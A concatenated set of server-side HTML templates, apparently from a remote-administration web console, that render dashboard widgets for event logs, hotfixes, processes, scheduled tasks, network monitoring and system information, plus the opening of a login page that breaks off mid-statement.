<tr onmouseover="showTip(event,'$EVENTS.TOOLTIP$',false,'TR'); this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="location.replace('evtlogs.html?log=$EVENT.LOGTYPE$&showevt=$EVENT.INDEX$')" style="cursor: pointer;<?if EVENT.TYPE="error"?> color: #990000;<?endif?>">
<td align="center" class="data">
<?switch EVENT.TYPE?>
<?case "error"    ?><img src="img/ico_evt_stop.png?bg=%COLOR.DlgBack%"   width="16" height="16" border=0>
<?case "info"     ?><img src="img/ico_evt_info.png?bg=%COLOR.DlgBack%"   width="16" height="16" border=0>
<?case "warning"  ?><img src="img/ico_evt_warn.png?bg=%COLOR.DlgBack%"   width="16" height="16" border=0>
<?case "auditfail"?><img src="img/ico_evt_nolock.png?bg=%COLOR.DlgBack%" width="16" height="16" border=0>
<?case "auditsucc"?><img src="img/ico_evt_perm.png?bg=%COLOR.DlgBack%"   width="16" height="16" border=0>
<?endswitch?>
</td>
<td nowrap class="data"><?&EVENT.TIME _dtms?></td>
<td nowrap class="data"><?&EVENT.SOURCE?></td>
<td nowrap class="data" align=center><?&EVENT.ID?></td>
</tr>
<?next?>
<?else?>
<tr>
<td align="center" class="data">&MSG.DASH.EVT.NORIGHT&</td>
</tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>d dash_hotfix.html"<?ratmpl?>

<?if not IS9X?>
<div id="dash_<?if DASHLAYOUT hasbycase "H"?>H<?else?>h<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
<?endif?>SW0dash_hotfix_content.html	<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?set ID="H"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_H?>
<?if actions has "-hotfixlist-"?>
<?set REQ.HOTFIXSIZE = REQ.SIZE?>
<?action "hotfixlist"?>
<?endif?>
<?else?>
<?set DIVID="dash_h"?>
<?endif // minimized window?>

<div id="$DIVID$">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<?if actions has "-hotfixlist-"?>
<td colspan="2" id="$DIVID$_title" nowrap>
<a href="info.html?%RND%" title="&MSG.DASH.HOTFIX.TITLE.TIP&">&MSG.INFO.OS.HOTFIXES&</a>&nbsp;
<?if DASHLAYOUT hasbycase ID?>
<select id="hotfixsize" onchange="dashItemResize('$DIVID$', '$TEMPLATE$', 'hotfixsize', this.options[this.selectedIndex].value);">
<option value="5"  <?selected REQ.HOTFIXSIZE = "5" ?>>&MSG.DASH.TOPN& 5</option>
<option value="10" <?selected REQ.HOTFIXSIZE = "10"?>>&MSG.DASH.TOPN& 10</option>
<option value="15" <?selected REQ.HOTFIXSIZE = "15"?>>&MSG.DASH.TOPN& 15</option>
</select>
<?endif?>
</td>
<td colspan="2" style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
<?else?>
<td nowrap>&MSG.INFO.OS.HOTFIXES&</td>
<?endif?>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<?if actions has "-hotfixlist-"?>
<tr>
<th nowrap align="left">&MSG.NAME&</th>
<th nowrap align="left">&MSG.DESC&</th>
<th nowrap align="left">&MSG.INFO.OS.HF.INSTALLEDBY&</th>
<th nowrap align="left">&MSG.INFO.OS.HF.INSTALLDATE&</th>
</tr>
<?if HOTFIXES?>
<?enum HOTFIXES?>
<tr onmouseover="this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="window.open('http://support.microsoft.com/default.aspx?scid=kb;EN-US;%HOTFIX.NAME%', 'hotfix')" style="cursor: pointer;">
<td nowrap class="data"><?&HOTFIX.NAME?></td>
<td nowrap class="data"><?&HOTFIX.DESC.SHORT?></td>
<td nowrap class="data"><?if HOTFIX.USER?><?&HOTFIX.USER?><?else?>&MSG.UNKNOWN&<?endif?></td>
<td nowrap class="data"><?if HOTFIX.DATE?><?&HOTFIX.DATE _dt?><?else?>&MSG.UNKNOWN&<?endif?></td>
</tr>
<?next?>
<?endif?>
<?else?>
<tr>
<td align="center" class="data">&MSG.DASH.HOTFIX.NORIGHT&</td>
</tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>
߮"dash_journal.htmlz<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "J"?>J<?else?>j<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>UM2dash_journal_content.html
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?defmacro JOURNAL.TOOLTIP()?>\
<b>$MSG.DASH.JOURNAL.USER$:</b> $JOURNAL.USER$<br>\
<b>$MSG.DASH.JOURNAL.DATE$:</b> <?$JOURNAL.TIME _dtms?><br>\
<b>$MSG.DASH.JOURNAL.NOTE$:</b> $JOURNAL.BODY$\
<?endmacro?>

<?if actions has "journallist"?>
<?set ID="J"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_J"?>
<?set REQ.JOURNALSIZE = REQ.SIZE?>
<?action "journallist"?>
<?else?>
<?set DIVID="dash_j"?>
<?endif // minimized window?>
<div id="&DIVID&">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td colspan="2" id="$DIVID$_title" nowrap>
<a href="journal.html?%RND%" title="&MSG.DASH.JOURNAL.TITLE.TIP&">&MSG.DASH.JOURNAL.TITLE&</a>&nbsp;
<?if DASHLAYOUT hasbycase ID?>
<select id="journalsize" onchange="dashItemResize('$DIVID$', '$TEMPLATE$', 'journalsize', document.getElementById('journalsize').options[document.getElementById('journalsize').selectedIndex].value);">
<option value="5"  <?selected REQ.SIZE = "5" ?>>&MSG.DASH.TOPN& 5</option>
<option value="10" <?selected REQ.SIZE = "10"?>>&MSG.DASH.TOPN& 10</option>
<option value="15" <?selected REQ.SIZE = "15"?>>&MSG.DASH.TOPN& 15</option>
</select>
<?endif?>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<tr>
<th align="left">&MSG.DASH.JOURNAL.USER&</th>
<th align="left" style="padding-left: 10px;">&MSG.DASH.JOURNAL.NOTE&</th>
<th align="left">&MSG.DASH.JOURNAL.DATE&</th>
</tr>
<?if actions has "journalcreate"?>
<!-- first row is actually a shortcut to the "add journal" feature -->
<tr onmouseover="this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" style="cursor: default;">
<td nowrap class="data"><?&USERNAME?></td>
<td colspan="2" nowrap class="data" width="100%">
<table width="100%" cellpadding="0" cellspacing="0"><tr>
<td width="100%"><input id="newjournal" name="newjournal" type="text" style="width: 100%;" value="&MSG.DASH.JOURNAL.HINT&" onfocus="if (value=='$MSG.DASH.JOURNAL.HINT$') value='';" onblur="if (value=='') value='$MSG.DASH.JOURNAL.HINT$'" onkeydown="if (event.keyCode == 13) document.getElementById('journaladd').onclick();"></td>
<td><input type="button" id="journaladd" value="&MSG.DIALOG.ADD&" onclick="if (document.getElementById('newjournal').value=='') return 0; if (document.getElementById('newjournal').value=='$MSG.DASH.JOURNAL.HINT$') return 0; dashItemConfig('$DIVID$', 'journal', 'newjournal=' + encodeURIComponent(document.getElementById('newjournal').value));"></td>
</tr></table>
</td>
</tr>
<?endif?>
<?if JOURNAL > 0?>
<?enum JOURNAL?>
<tr onmouseover="showTip(event,'$JOURNAL.TOOLTIP$',false,'TR'); this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" style="cursor: default;">
<td nowrap class="data"><?if JOURNAL.USER.SHORT?><?&JOURNAL.USER.SHORT?><?else?><?&JOURNAL.USER?><?endif?></td>
<td nowrap class="data" width="100%" style="padding: 0 10 0 10;<?if JOURNAL.SYSTEM?> font-style: italic;<?endif?>">&JOURNAL.BODY.SHORT&</td>
<td nowrap class="data"><?&JOURNAL.TIME _dtms?></td>
</tr>
<?next?>
<?else?>
<tr>
<td class="data" colspan="3" align="center">&MSG.DASH.JOURNAL.EMPTY&</td>
</tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>
<?elseif not IS9X?>
<table class="dashtable" style="border-width: 1px;" cellspacing="0" cellpadding="3">
<tr>
<td class="dashtitle" nowrap>&MSG.DASH.JOURNAL.TITLE&</td>
</tr>
<tr>
<td align="center">&MSG.DASH.JOURNAL.NORIGHT&</td>
<tr>
</table>
<?endif?>G# dash_netmon.html4<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "N"?>N<?else?>n<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>[0dash_netmon_content.htmlD<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?if actions has "-perfmon-" and actions has "-perfcfg-"?>
<?set ID="N"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_N"?>
<?action "perfmon" REQ.TYPE="neti"?>
<?action "perfcfg" REQ.ADAPTER.NAME = STAT.NAME?>
<?set RES=STAT.RES?>
<?else?>
<?set DIVID="dash_n"?>
<?endif // minimized window?>
<div id="dash_<?if DASHLAYOUT hasbycase ID?>N<?else?>n<?endif?>">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" style="border-width: 1px;" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td id="$DIVID$_title" colspan="2" nowrap>
<a href="netinfo.html?%RND%" title="&MSG.DASH.NET.TITLE.TIP&">&MSG.DASH.NET.TITLE&</a>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<tr>
<td nowrap align="center" colspan="3"> 
<img id="map=RES=" src="/perfchart.png?type=%REQ.TYPE%&res=%RES%&index=%REQ.INDEX%&bg=%COLOR.DlgBack%&fg=%COLOR.ServHi%&dash=1&%RND%" border="0" 
width="382" height="109">
</td>
</tr>
<tr>
<td align="right">&MSG.DASH.NET.SOURCE&</td>
<td colspan="2">
<select name="index" id="adapter" size="1" height="20" style="height: 20px; width: 300px; padding: 0px; font-size: 10px;" onchange="dashItemConfig('$DIVID$', 'netmon', 'dash=1&netaction=get&adapter.name=' + encodeURI(document.getElementById('adapter').options[document.getElementById('adapter').selectedIndex].text));">
<?enum ADAPTERS?>
<option value="&ADAPTER.INDEX&" <?selected REQ.INDEX=ADAPTER.INDEX?>><?&ADAPTER.NAME?></option>
<?next?>
</select>
</td>
</tr>
<tr>
<td align="right">&MSG.DASH.NET.FREQ&</td>
<td colspan="2">
<select name="res" id="res" size="1" width="200" height="20" style="width: 200px; height: 20px; padding: 0px; display: inline;" onchange="dashItemConfig('$DIVID$', 'netmon', 'dash=1&res=' + document.getElementById('res').options[document.getElementById('res').selectedIndex].value);">
<option value="0" <?selected RES="0"?>>2 &MSG.DIALOG.TIME.SECONDS&</option>
<option value="1" <?selected RES="1"?>>10 &MSG.DIALOG.TIME.SECONDS&</option>
<option value="2" <?selected RES="2"?>>5 &MSG.DIALOG.TIME.MINUTES&</option>
<option value="3" <?selected RES="3"?>>1 &MSG.DIALOG.TIME.HOUR&</option>
</select>
</td>
</tr>
<tr>
<td align="right" style="white-space: nowrap">&MSG.DASH.NET.MAXIN&</td>
<td style="white-space: nowrap">
<input type="text" id="bpsi" name="adapter.bpsi" value="&ADAPTER.BPSI&" style="height: 20px; width: 50px; display: inline; padding-left: 2px;"> kbit/s&nbsp;&nbsp;
&MSG.DASH.NET.MAXOUT&
<input type="text" id="bpso" name="adapter.bpso" value="&ADAPTER.BPSO&" style="height: 20px; width: 50px; display: inline; padding-left: 2px;"> kbit/s
</td>
<td align="left">
<input type="button" value="&MSG.DIALOG.APPLY&" style="height: 20px;" onclick="dashItemConfig('$DIVID$', 'netmon', 'dash=1&netaction=set&adapter.name=' + escape(document.getElementById('adapter').options[document.getElementById('adapter').selectedIndex].text) + '&adapter.bpsi=' + document.getElementById('bpsi').value + '&adapter.bpso=' + document.getElementById('bpso').value);">
<input type="button" value="&MSG.DIALOG.REFRESH&" style="height: 20px;" onclick="dashItemConfig('$DIVID$', 'netmon', '');">
</td>
</tr>
<?endif // minimized window?>
</table>
</div>
<?else?>
<table class="dashtable" style="border-width: 1px;" cellspacing="0" cellpadding="3">
<tr>
<td class="dashtitle" nowrap>&MSG.DASH.NET.TITLE&</td>
</tr>
<tr>
<td align="center">&MSG.DASH.NET.NORIGHT&</td>
</tr>
</table>
<?endif?>n"dash_process.html<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "P"?>P<?else?>p<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
	jPv2dash_process_content.htmlL
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?set ID="P"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_P"?>
<?if actions has "-proclist-"?>
<?set REQ.SORT="cd"?>
<?set REQ.PROCLISTSIZE = REQ.SIZE?>
<?action "proclist"?>
<?endif?>
<?else?>
<?set DIVID="dash_p"?>
<?endif // minimized window?>

<?defmacro PROC.TOOLTIP()?>\
<b>$NAME$:	</b> $PROC.NAME$</b><br>\
<?if PROC.DESC?>\
<b>$DESC$:	</b> $PROC.DESC$</b><br>\
<?endif?>\
<b>$VERSION$:</b> $PROC.VER$</b><br>\
<?if ISNT?>\
<b>$ADMIN.PROCESS.ACCOUNT$:	</b> $PROC.USER$	</b><br>\
<?if PROC.WINDOW?>\
<b>$ADMIN.PROCESS.WINDOW$:	</b> $PROC.WINDOW$	</b><br>\
<?endif?>\
<b>$ADMIN.PROCESS.HANDLES$:	</b> $PROC.HANDLES$	</b><br>\
<?endif?>\
<b>$ADMIN.PROCESS.THREADS$:	</b> $PROC.THREADS$	</b><br>\
<?if ISNT?>\
<b>$ADMIN.PROCESS.TIMEC$:	</b> <?$PROC.TIMEC_dtms?> (<?$PROC.TIMEC_ago?>)	</b><br>\
<b>$ADMIN.PROCESS.TIME$:	</b> <?$PROC.TIME_spn?>	</b><br>\
<?endif?>\
<b>$ADMIN.PROCESS.PARENTID$:</b> $PROC.PARENT$	</b><br>\
<?endmacro?>

<div id="$DIVID$">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<?if actions has "-proclist-"?>
<td colspan="<?if ISNT?>4<?else?>2<?endif?>" id="$DIVID$_title" nowrap>
<a href="proclist.html?%RND%" title="&MSG.DASH.PROC.TITLE.TIP&">&MSG.DASH.PROC.TITLE&</a>&nbsp;
<?if DASHLAYOUT hasbycase ID?>
<select id="procsize" onchange="dashItemResize('$DIVID$', '$TEMPLATE$', 'proclistsize', this.options[this.selectedIndex].value);">
<option value="5"  <?selected REQ.PROCLISTSIZE = "5" ?>>&MSG.DASH.TOPN& 5</option>
<option value="10" <?selected REQ.PROCLISTSIZE = "10"?>>&MSG.DASH.TOPN& 10</option>
<option value="15" <?selected REQ.PROCLISTSIZE = "15"?>>&MSG.DASH.TOPN& 15</option>
</select>
<?endif?>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
<?else?>
<td nowrap>&MSG.DASH.PROC.TITLE&</td>
<?endif?>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<?if actions has "-proclist-"?>
<tr>
<th colspan="<?if ISNT?>2<?else?>3<?endif?>" align="left">&MSG.NAME&</th>
<?if ISNT?>
<th align="left">&MSG.ADMIN.PROCESS.CPUP&</th>
<th align="right">&MSG.ADMIN.PROCESS.PHYSMEM&</th>
<th align="right">&MSG.ADMIN.PROCESS.VIRTMEM&</th>
<?endif?>
</tr>
<?enum PROCESSES?>
<tr onmouseover="showTip(event,'$PROC.TOOLTIP$',false,'TR');  this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="location.replace('procinfo.html?pid=$PROC.ID$&back=dashboard.html&$RND$');" style="cursor: pointer;<?if PROC.CPUP > PA?><?set MYCU = PBACU?> color: &PBACU&;<?else?><?set MYCU = PBCU?><?endif?>">
<td class="ico16"><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%PROC.PATH%&size=16" width="16" height="16"><?endif?></td>
<td class="data" <?if not ISNT?>width="100%"<?endif?>><?&PROC.NAME?></td>
<?if ISNT?>
<td class="data">
<?usemacro PERCENTBARWHC(PROC.CPUP,PBW,PBH,MYCU,PBCF,PBCB)?>
</td>
<td class="num"><?&PROC.WKSET _szk?></td>
<td class="num"><?&PROC.SWAP _szk?></td>
<?else?>
<td class="data">&nbsp;</td> <!-- table formatting -->
<?endif?>
</tr>
<?next?>
<?else?>
<tr>
<td align="center" class="data">&MSG.DASH.PROC.NORIGHT&</td>
</tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>







-i<,dash_recentaccess.htmll<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "R"?>R<?else?>r<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
i<dash_recentaccess_content.html]	)<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?defmacro RECENT.TOOLTIP()?>\
<b>$MSG.INFO.CONNS.USER$:</b> $RECENT.USER$<br>\
<b>$MSG.INFO.CONNS.HOST$:</b> $RECENT.ADDR$<?if RECENT.HOST?> ($RECENT.HOST$)<?endif?><br>\
<b>$MSG.INFO.CONNS.LOGIN$:</b> <?$RECENT.LOGIN_dtms?><br>\
<?if RECENT.ONLINE?>\
<b>$MSG.INFO.CONNS.LOGOUT$:</b> $MSG.INFO.CONNS.ONLINE$ (<?&RECENT.LOGIN_for?>)<br>\
<b>$MSG.INFO.CONNS.IDLE$:</b> <?$RECENT.IDLE_spn?>\
<?else?>\
<b>$MSG.INFO.CONNS.LOGOUT$:</b> <?$RECENT.LOGOUT_dtms?>\
<?endif?>\
<?endmacro?>

<!-- Events -->
<?if actions has "recent"?>
<?set ID="R"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_R"?>
<?set REQ.EVTLOGSIZE = REQ.SIZE?>
<?action "recent"?>
<?else?>
<?set DIVID="dash_r"?>
<?endif // minimized window?>
<div id="&DIVID&">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle" id="dash_recent_handle">
<td colspan="2" id="$DIVID$_title" nowrap>
<a href="info.html?%RND%" title="&MSG.DASH.RECENT.TITLE.TIP&">&MSG.INFO.CONNS.RECENT&</a>&nbsp;
</td>
<td colspan="2" style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<tr>
<th align="left" nowrap>&MSG.INFO.CONNS.USER&</th>
<th align="left" nowrap>&MSG.INFO.CONNS.HOST&</th>
<th align="left" nowrap>&MSG.INFO.CONNS.LOGIN&</th>
<th align="left" nowrap>&MSG.INFO.CONNS.LOGOUT&</th>
</tr>
<?if RECENT > 0?>
<?enum RECENT?>
<?if RECENT.USER?>
<tr onmouseover="showTip(event,'$RECENT.TOOLTIP$',false,'TR'); this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="" style="cursor: default;">
<td nowrap class="data"><?&RECENT.USER?></td>
<td nowrap class="data"><?&RECENT.ADDR?></td>
<td nowrap class="data"><?&RECENT.LOGIN_dtms?></td>
<td nowrap class="data"><?if RECENT.ONLINE?><?&MSG.INFO.CONNS.ONLINE?><?else?><?&RECENT.LOGOUT_dtms?><?endif?></td>
</tr>
<?endif?>
<?next?>
<?endif?>
<?endif // minimized window?>
</table>
</div>
<?elseif not IS9X?>
<table class="dashtable" style="border-width: 1px;" cellspacing="0" cellpadding="3">
<tr>
<td class="dashtitle" nowrap>&MSG.INFO.CONNS.RECENT&</td>
</tr>
<tr>
<td align="center" class="data">&MSG.DASH.RECENT.NORIGHT&</td>
<tr>
</table>
<?endif?>cdash_sched.html8<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "T"?>T<?else?>t<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
pO.dash_sched_content.html
3	<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?// HACK. TASK.APP.ARGS is HTML encoded, because a quotation mark (quite frequent in an argument list) will screw up the tooltip and the dashboard.?>
<?defmacro SCHED.TOOLTIP()?>\
<b>$MSG.NAME$:</b> $TASK.NAME$<br>\
<b>$MSG.ADMIN.PROCESS.COMMAND$:</b> $TASK.APP.PATH$ &TASK.APP.ARGS&<br>\
<b>$MSG.ADMIN.SCHEDULE.STATUS$:</b> $TASK.STATUS$<br>\
<?if ISNT?><b>$MSG.ADMIN.SCHEDULE.RUNAS$:</b> $TASK.APP.USER$<br><?endif?>\
<b>$MSG.ADMIN.SCHEDULE.SCHED$:</b> $TASK.SCHEDULE$<br>\
<b>$MSG.ADMIN.SCHEDULE.LASTRUN$:</b> <?$TASK.LASTRUN_ago?><br>\
<b>$MSG.ADMIN.SCHEDULE.EXIT$:</b> $TASK.EXITCODE$<br>\
<b>$MSG.ADMIN.SCHEDULE.NEXTRUN$:</b> <?$TASK.NEXTRUN_in?><br>\
<b>$MSG.ADMIN.SCHEDULE.COMMENT$:</b> $TASK.COMMENT$<br>\
<b>$MSG.ADMIN.SCHEDULE.TRIGGERS$:</b> $TASK.TRIGGERS$\
<?endmacro?>

<!-- Scheduled tasks -->
<?if actions has "-tasklist-"?>
<?set ID="T"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_T"?>
<?set REQ.TASKLISTSIZE = REQ.SIZE?>
<?action "tasklist?>
<?else?>
<?set DIVID="dash_t"?>
<?endif // minimized window?>
<div id="&DIVID&">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td colspan="2" id="$DIVID$_title" nowrap>
<a href="sched.html?%RND%" title="&MSG.DASH.SCHED.TITLE.TIP&">&MSG.DASH.SCHED.TITLE&</a>&nbsp;
<?if DASHLAYOUT hasbycase ID?>
<select id="schedsize" onchange="dashItemResize('$DIVID$', '$TEMPLATE$', 'tasklistsize', document.getElementById('schedsize').options[document.getElementById('schedsize').selectedIndex].value);">
<option value="5"  <?selected REQ.TASKLISTSIZE = "5" ?>>&MSG.DASH.SCHED.LASTN& 5</option>
<option value="10" <?selected REQ.TASKLISTSIZE = "10"?>>&MSG.DASH.SCHED.LASTN& 10</option>
<option value="15" <?selected REQ.TASKLISTSIZE = "15"?>>&MSG.DASH.SCHED.LASTN& 15</option>
</select>
<?endif?>
</td>
<td colspan="2" style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<tr align="left">
<th>&MSG.NAME&</th>
<th>&MSG.ADMIN.SCHEDULE.LASTRUN&</th>
<th>&MSG.ADMIN.SCHEDULE.NEXTRUN&</th>
<th align="center">&MSG.ADMIN.SCHEDULE.STATUS&</th>
</tr>
<?if TASKS > 0?>
<?set BG=COLOR.DlgBack?>
<?enum TASKS?>
<tr onmouseover="showTip(event,'$SCHED.TOOLTIP$',false,'TR'); this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="location.replace('schedinfo.html?task=$TASK.NAME$&$RND$');" style="cursor: pointer; <?if TASK.EXITCODE > 0?>color: &PBACU&;<?endif?>">
<td class="data"><img src="/img/task.gif" width="15" height="15">&nbsp;<?&TASK.SHORTNAME?></td>
<td class="data" nowrap><?&TASK.LASTRUN _dtms?>&nbsp;</td>
<td class="data" nowrap><?&TASK.NEXTRUN _dtms?>&nbsp;</td>
<td class="data" nowrap align="center"><img src="/img/<?if TASK.STATUS="notdone"?>disabled.png?bg=%BG%<?elseif TASK.STATUS="running"?>running.png?bg=%BG%<?else?>active.png?bg=%BG%<?endif?>" width="16" height="16"></td>
</tr>
<?next?>
<?else?>
<tr><td colspan="4" align="center" class="data">&MSG.DASH.SCHED.NONE&</td></tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>
<?else?>
<table class="dashtable" style="border-width: 1px;" cellspacing="0" cellpadding="3">
<tr>
<td class="dashtitle" nowrap>&MSG.DASH.SCHED.TITLE&</td>
</tr>
<tr>
<td align="center">&MSG.DASH.SCHED.NORIGHT&</td>
</tr>
</table>
<?endif?>sƝ&dash_setconfig.html>W<?ratmpl?> 
<?nocache?>
<?if REQ.TYPE="netmon"
action "perfcfg"
elseif REQ.TYPE="journal"
action "journalcreate"
else
action "setdashconfig"
action "getdashconfig"
endif?>
OK
5("dash_sysinfo.html~<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "S"?>S<?else?>s<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>iN%2dash_sysinfo_content.htmll	<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?if actions has "-osinfo-" and actions has "-cpuinfo-" and actions has "-meminfo-"?>
<?set ID="S"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_S"?>
<?action "osinfo"?>
<?action "cpuinfo"?>
<?action "meminfo"?>
<?else?>
<?set DIVID="dash_s"?>
<?endif // minimized window?>
<div id="&DIVID&">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle" id="dash_sysinfo_handle">
<td id="$DIVID$_title" nowrap>
<a href="info.html" title="&MSG.DASH.SYS.TITLE.TIP&">&MSG.DASH.SYS.TITLE&</a>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<tr>
<td class="data" colspan="2">						
<?&OS.NAME?> <?&OS.VER?> (<?&MSG.INFO.OS.BUILD?>: <?&OS.BUILD?>) <?&OS.CSD?>
</td>
</tr>
<?if CPU.CLOCK != 0 // win9x can't tell cpu speed ?>
<tr>
<td class="datalabel" nowrap><?&MSG.INFO.HARDWARE.CPU?></td>
<td class="data"><?&MSG.INFO.HARDWARE.CPUINFO?> <?if CPU.COUNT != "1"?>(x &CPU.COUNT&)<?endif?></td>
</tr>
<?endif?>
<tr <?if MEMP.USEDP > PA?><?set MYCU = PBACU?>style="color: &PBACU&;"<?else?><?set MYCU = PBCU?><?endif?>>
<td class="datalabel" nowrap><?&MSG.INFO.HARDWARE.PHYSICAL?></td>
<td class="data">
<?usemacro PERCENTBARWHC(MEMP.USEDP,PBW,PBH,MYCU,PBCF,PBCB)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMP.SIZE _szm?>)
</td>
</tr>
<tr <?if MEMC.USEDP > PA?><?set MYCU = PBACU?>style="color: &PBACU&;"<?else?><?set MYCU = PBCU?><?endif?>>
<td class="datalabel" nowrap><?&MSG.INFO.HARDWARE.COMMIT?></td>
<td class="data">
<?usemacro PERCENTBARWHC(MEMC.USEDP,PBW,PBH,MYCU,PBCF,PBCB)?> (<?&MSG.INFO.HARDWARE.SIZE?>: <?&MEMC.SIZE _szm?>)
</td>
</tr>
<?if OS.BOOTED?>
<tr>
<td class="datalabel" nowrap>&MSG.DASH.SYS.LASTBOOT&</td>
<td class="data"><?&OS.BOOTED _ago?></td>
</tr>
<?endif?>
<tr>
<td class="datalabel" nowrap><?if OS.USER?><?&MSG.INFO.HARDWARE.USER?></td>
<td class="data"><?&OS.USER?><?endif?></td>
</tr>
<?endif // minimized window?>
</table>
</div>
<?else?>
<table class="dashtable" style="border-width: 1px;" cellspacing="0" cellpadding="3">
<tr>
<td class="dashtitle" nowrap>&MSG.DASH.SYS.TITLE&</td>
</tr>
<tr>
<td align"center" class="data">&MSG.DASH.SYS.NORIGHT&</td>
<tr>
</table>
<?endif?>
jiDdefault.html<?ratmpl?>
<?nocache?>
<?
set HASIFRAME=0
set TRYAUTOLOGIN=0
include "macros.html"

if not REQ.LOGIN and BRAND.LOGMEIN
action "createnonce"
endif

if not REQ.SHOWSUADV=""
set session SHOWSUADV=REQ.SHOWSUADV
endif

// set user interface details
include "setui.html"

// force logout if returning from a "go directly to xxx" page
if LOGOUT.WHEN.DONE
set session LOGOUT.WHEN.DONE=""
set REQ.LOGOUT="yes"
endif

if REQ.GO
set session LOGIN.DIRECTLY.TO=REQ.GO
set session LOGIN.AFTERFFPLUGININSTALL.DIRECTLY.TO=REQ.GO
elseif LOGIN.DIRECTLY.TO
